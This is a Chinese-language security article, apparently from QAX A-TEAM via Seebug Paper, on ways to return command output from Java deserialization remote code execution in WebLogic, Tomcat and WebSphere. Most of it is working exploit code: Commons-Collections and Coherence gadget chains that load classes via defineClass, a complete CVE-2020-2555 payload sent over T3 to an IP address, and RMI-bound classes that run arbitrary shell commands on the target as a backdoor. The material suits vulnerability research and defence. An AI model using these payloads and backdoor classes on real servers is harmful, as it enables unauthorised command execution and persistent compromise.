作者:Skay @ QAX A-TEAM
原文鏈接:https://mp.weixin.qq.com/s/0fWSp71yuaxL_TkZV65EwQ
閱讀文章前希望先對ClassLoader以及defineClass有了解。Java RCE中類反射獲取&動態加載
defineClass歸屬于ClassLoader類,目前很多java的回顯方式都是在其基礎上進行改進,其主要作用就是使用編譯好的字節碼就可以定義一個類。引用于y4er
一、回顯的幾種方式
- 直接調用defineClass
- RMI綁定實例結合
- 獲取resp寫入回顯結果
- 異常拋出 報錯回顯
- 寫文件
- Dnslog
二、回顯方式分析
1.RMI綁定實例結合
(1) RMI/IIOP RCE回顯的原理
基本原理
talk is cheap,let‘s see the code
1.定義一個Echo接口,繼承Remote類
public interface Echo extends Remote {
String exec(String cmd) throws RemoteException;
}
2.實現這個接口
public class EchoImpl implements Echo{
@Override
public String exec(String cmd) throws RemoteException {
InputStream in = null;
try {
in = Runtime.getRuntime().exec(cmd).getInputStream();
}catch (Exception e){
e.printStackTrace();
}
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String result = s.hasNext()?s.next():"";
return result;
}
}
3.服務端綁定EchoImpl
public class EchoServer {
public static void main(String[] args) throws Exception{
Echo echo = new EchoImpl();
Echo e = (Echo) UnicastRemoteObject.exportObject(echo,9999);
Registry registry = LocateRegistry.createRegistry(9999);
registry.bind("Echo",e);
System.out.println("Start RMI Server................");
}
}
4.客戶端實現RMI遠程方法調用
public class EvilClient {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);
Echo echo = (Echo) registry.lookup("Echo");
System.out.println(echo.exec("ipconfig"));
}
}
最終實現效果

上面RMI回顯原理有了,我們有了回顯的方法,現在只需再RCE的漏洞利用中,重現構造出上述步驟。
邏輯思路
- 利用漏洞點調用ClassLoader的defineClass方法
- 寫入類:defineClass在目標服務器運行返回我們構造的類(已經寫好的RMI接口類)
- 綁定類:將RMI接口類綁定到目標服務器,也就是將我們構造的惡意類注冊到rmi注冊中心
- 攻擊者本地遠程調用方法獲取回顯結果
首先,我們先將需要綁定的惡意類準備好。
我們需要目標存在一個繼承了Remote的接口,并且接口方法返回類型為String(因為要返回命令執行的結果)且拋出RemoteException異常,然后本地構造一個類實現這個接口。
直接在Remote類下Ctrl+H

weblogic_cmd用的是這個

本地構造EvilImpl
public class EvilImpl implements ClusterMasterRemote {
@Override
public void setServerLocation(String s, String s1) throws RemoteException {
}
@Override
public String getServerLocation(String cmd) throws RemoteException {
try {
List<String> cmds = new ArrayList<String>();
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
惡意類準備好了,接下來就是綁定到目標服務器。這里使用到的代碼
RemoteImpl remote = new RemoteImpl();
try {
Context context = new InitialContext();
context.rebind("Evil",remote);
} catch (Exception e) {
e.printStackTrace();
}
在服務端執行上述代碼即可將而已類綁定到目標服務器,問題是我們怎么執行上述代碼? 將上述代碼寫到我們構造的EvilImpl main方法中,definClass獲取到EvilImpl 的 Class后直接利用CC或者coherence進行反射調用。
所以我們修改EvilImpl如下
public class EvilImpl implements ClusterMasterRemote {
public static void main(String[] args) {
EvilImpl remote = new EvilImpl();
try {
Context context = new InitialContext();
context.rebind("Evil",remote);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void setServerLocation(String s, String s1) throws RemoteException {
}
@Override
public String getServerLocation(String cmd) throws RemoteException {
try {
List<String> cmds = new ArrayList<String>();
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
下面還剩最后一個問題,獲取defineClass,有多種實現方式,可以在Weblogic中找ClassLoader的子類,也可以從Thread中獲取,也可直接反射調用。
(2) Weblogic 結合CC鏈 回顯實現
上面回顯原理已經將大體流程說明完畢,CC的引入就是為了解決兩個問題,defineClass的獲取,以及EvilImpl類main方法的反射調用。
defineClass的獲取
網上大多是直接找的ClassLoader的子類
jxxload_help.PathVFSJavaLoader#loadClassFromBytes
org.python.core.BytecodeLoader1#loadClassFromBytes
sun.org.mozilla.javascript.internal.DefiningClassLoader#defineClass
java.security.SecureClassLoader#defineClass(java.lang.String, byte[], int, int, java.security.CodeSource)
org.mozilla.classfile.DefiningClassLoader#defineClass
org.mozilla.classfile.DefiningClassLoader#defineClass 使用這個
CC鏈構造
接下來就是結合CC利用鏈進行構造,首先獲取defineClass,然后調用我們EvilImple的main方法。CC是可以調用任意類的任意方法的,所以構造起來也很容易(當然了,是站在前人的肩膀上,手動狗頭)
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new ConstantTransformer(new HashSet())
};
至此,整個回顯過程就串起來了,weblogic的反序列化RCE為漏洞點,CC鏈串起來回顯的整個過程:從defineClass的調用到EvilImple的綁定,最后攻擊者本地調用遠程方法即可實現回顯。
(3) Weblogic 結合coherence鏈 回顯實現
雖然上述回顯已經成功,但是CC鏈早就被Weblogic放入了黑名單,且在18年補丁之后,Weblogic修改了自身的cc依賴,使之不能反序列化。新的漏洞需要實現回顯,需要重新找出一個可以替代CC的鏈 ---> coherence中的LimitFilter
首先復習以下CVE-2020-2555的利用鏈 BadAttributeValueExpException -> readObject -> LimitFilte的toString(Coherence中) -> ReflectionExtractor的extract() -> method.invoke()
payload如下
// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
);
// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[0]}
);
// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"cmd", "/c", "calc"}}
);
ReflectionExtractor[] extractors = {
extractor1,
extractor2,
extractor3,
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
LimitFilter limitFilter = new LimitFilter();
//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
// BadAttributeValueExpException toString()
// This only works in JDK 8u76 and WITHOUT a security manager
// https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
// serialize
byte[] payload = Serializables.serialize(badAttributeValueExpException);
// T3 send, you can also use python script. weblogic_t3.py
T3ProtocolOperation.send("10.251.0.116", "7001", payload);
// test
serialize(badAttributeValueExpException);
System.out.print(payload);
// deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("w2555.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
看到無回顯的CVE-2020-2555 payload 對于com.tangosol.util.filter.LimitFilter 的利用看起來真是似曾相識(commons-collections),,com.tangosol.util.extractor.ReflectionExtractor#extract中,調用了 invoke ,類比于CC中transform的invoke,模仿CC的回顯思路,構造coherence的回顯,關鍵的ReflectionExtractor[]構造如下
ValueExtractor[] valueExtractors = new ValueExtractor[]{
? ? new ReflectionExtractor("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
? ? new ReflectionExtractor("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
? ? new ReflectionExtractor("defineClass",
? ? ? ? ? ? ? ? ? ? ? ? ? ?new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
? ? new ReflectionExtractor("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
? ? new ReflectionExtractor("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
};
2.直接調用defineClass
(1) CVE-2020-14644 回顯實現
1.漏洞原理分析
大致可以認為,是可以執行我們自定義類中statice代買塊中的java代碼,也就是,執行任意Java代碼。
2.回顯實現
其實也是借用rmi實現的回顯,但是更方便了,我們不用再借用CC或者coherence將整個rmi回顯過程串聯起來了(也就是省去了defineClass獲取以及反射調用main綁定的步驟),直接將我們的回顯邏輯寫到static代碼塊中,目標服務器直接執行即可。
直接看我們要執行的staic代碼https://github.com/potats0/cve_2020_14644
public class test implements Remotable, ClusterMasterRemote {
static {
try {
String bindName = "UnicodeSec";
Context ctx = new InitialContext();
test remote = new test();
ctx.rebind(bindName, remote);
System.out.println("installed");
} catch (Exception var1) {
var1.printStackTrace();
}
}
public test() {
}
@Override
public RemoteConstructor getRemoteConstructor() {
return null;
}
@Override
public void setRemoteConstructor(RemoteConstructor remoteConstructor) {
}
@Override
public void setServerLocation(String var1, String var2) throws RemoteException {
}
@Override
public String getServerLocation(String cmd) throws RemoteException {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
List<String> cmds = new ArrayList<String>();
if (isLinux) {
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
} else {
cmds.add("cmd.exe");
cmds.add("/c");
cmds.add(cmd);
}
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
3.獲取resp寫入回顯結果
(1) Tomcat 通用回顯
目的:獲取返回包并寫入回顯內容
站在巨人肩膀上,實現邏輯如下 ,這里注意下Mbeans的利用(給自己留個坑)
Registry.getRegistry(null, null).getMBeanServer() -> JmxMBeanServer.mbsInterceptor -> DefaultMBeanServerInterceptor.repository -> Registory#query -> RequestInfo -> Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
具體實現demo 移步https://xz.aliyun.com/t/7535#toc-3
注:回顯需要結合在每個gadget中,在反序列化漏洞利用中才能起到真實效果。這里對于gadget的要求最好是可以直接執行java代碼,比如CC3 CC4,或者可以間接調用defineClass。當然了,如果漏洞本身就可以直接執行Java代碼,那是再方便不過了。
(2) Weblogic 2725 回顯
https://github.com/welove88888/CVE-2019-2725 這個項目中使用的回顯方式即先獲取當前現成,從中獲取返回respose,寫入回顯內容 代碼參考https://xz.aliyun.com/t/5299#toc-10
String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
outputStream.flush();
response.getWriter().write("");
java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));
結合CVE-2019-2725這個漏洞,需要將上面的類轉化為xml格式,weblogic xmldecoder反序列化漏洞,從漏洞角度來說,是支持調用任意類的任意方法,這里直接使用org.mozilla.classfile.DefiningClassLoader的defineClass方法將回顯寫入類實例化執行。 其實,這里也可以結合rmi實現回顯的方式,畢竟都可以調用defineClass了。
(3) Websphere 回顯
大體思路也是從線程中獲取request respose
參考http://blog.corener.cc/2020/04/28/Tomcat-Echo/#%E5%BD%A9%E8%9B%8B-websphere%E5%9B%9E%E6%98%BE
Thread t = Thread.currentThread();
Field wsThreadLocals = t.getClass().getDeclaredField("wsThreadLocals");
wsThreadLocals.setAccessible(true);
Object[] obs = (Object[])wsThreadLocals.get(t);
WebContainerRequestState wr = (WebContainerRequestState)obs[36];
wr.getCurrentThreadsIExtendedRequest().getRequestURL();
(4) Spring Boot 回顯
網上也有結合Spring Boot 進行回顯,弱弱說一句,直接可以利用中間件回顯,這個就Pass了先。
4.異常拋出 報錯回顯
(1) 帶回顯的攻擊RMI服務
這里我們需要跟一下RMI的流程中客戶端的lookup方法
站在巨人肩膀上(其實就是偷個懶)https://blog.csdn.net/qsort_/article/details/104861625
在UnicastRef類的newCall方法中與服務端建立Socket連接,并發送一些約定的數據
通過ref.invoke方法處理服務端響應回來的序列化數據。
因為在lookup之前執行了getRegisty方法,返回的是RegistryImpl_Stub對象,所以這里的lookup調用的是RegistryImpl_Stub的lookup,我們跟進,已經將關鍵位置標紅

1.首先進入UnicastRef類的newCall方法:

1.1 首先是獲取了一個TCP連接,可以看到是使用LiveRef去創建的連接,在調試RMIServer時,我們已經知道LiveRef中包含TCPEndpoint屬性,其中包含ip與端口等通信信息:

1.2再往下走,看到new了一個StreamRemoteCall對象,進入StreamRemoteCall的構造方法,其做了如下操作,往服務端發送了一些數據:

2.回到lookup繼續往下走,執行了ObjectOutput.writeObject,這里是將lookup方法中傳遞的遠程服務的名稱,即字符串“HelloService”進行了序列化并發往了服務端,然后又執行了super.ref.invoke方法,進入該方法如下,然后繼續往下走,
通過ref.invoke方法處理服務端響應回來的序列化數據。

3. lookup往下走,進入StreamRemoteCall類的executeCall方法,可以猜到該方法就是處理第7步往服務端發送數據后的服務端響應的數據,看到從響應數據中先讀取了一個字節,值為81,然后又繼續讀取一個字節賦值給var1,

下面是判斷var1的值,為1直接return,說明沒問題,如果為2的話,會先對對象進行反序列化操作,然后判斷是否為Exception類型
網上有關于帶回顯的攻擊RMI服務的exp,它就是將執行完命令后的結果寫到異常信息里,然后拋出該異常,這樣在客戶端就可以看到命令執行的結果了,這時得到的var1的值就是2

當上一步var1值為1時,說明沒問題,再回到lookup,會執行ObjectInput.readObject方法將服務端返回的數據反序列化,然后將該對象返回(前面我們也知道了,這里獲取到的其實是一個代理對象)。至此,客戶端整個請求的過程也梳理完了
(2) URLClassLoader加載遠程惡意類,拋出異常回顯
首先構造惡意類,將執行結果作為異常拋出

但后利用某個反序列化利用鏈,調用URLClassloader,遠程加載惡意類并執行實現回顯
這里是CC5

By the way URLClassLoader換成defineClass,利用起來不用出網了就。
5.寫文件
顧名思義,直接寫文件到目標,訪問讀取,不再贅述
6.Dnslog
dnslog方式
三、參考鏈接
https://y4er.com/post/java-deserialization-echo
https://github.com/5up3rc/weblogic_cmd
https://blog.sari3l.com/posts/fa80d225/
https://github.com/potats0/cve_2020_14644
https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/
https://blog.csdn.net/qsort_/article/details/104861625
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1442/
暫無評論